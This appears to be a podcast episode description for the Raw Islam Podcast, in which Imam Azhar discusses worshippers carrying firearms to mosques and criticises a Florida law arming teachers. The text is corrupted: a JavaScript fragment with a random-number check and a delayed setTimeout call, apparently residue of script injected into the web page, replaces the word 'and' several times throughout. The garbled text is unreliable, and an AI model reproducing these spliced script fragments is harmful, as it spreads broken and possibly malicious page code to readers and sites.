On this, halfway through Ramadan episode of the Raw Islam Podcast, the listeners voted in the Twitter poll, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Imam Azhar andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and B.C. Dodge talk about the all-female mosques.
Yet, before we can get into the meat of the episode, something is bothering Imam Azhar that he needs to get off his chest – people arming themselves to attend prayers in the mosque. There have been shootings in other religious venues, such as synagogues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and churches, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there was not much conversation around the topic of worshipers arming themselves to attend services.
But there was an altercation in a mosque in Florida where a man was killed, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the reaction was that attendees should start carrying firearms.
Somehow the Govern of Florida was able to pass a law allowing teachers in schools to carry weapons. This is not what the students, parents, or faculty of the students wanted; they wanted common-sense gun laws. And the idea of arming those attending a religious service does not seem to have much common sense.
This leads to the question – would you, or would you allow your family to attend a religious service where you knew people were armed?
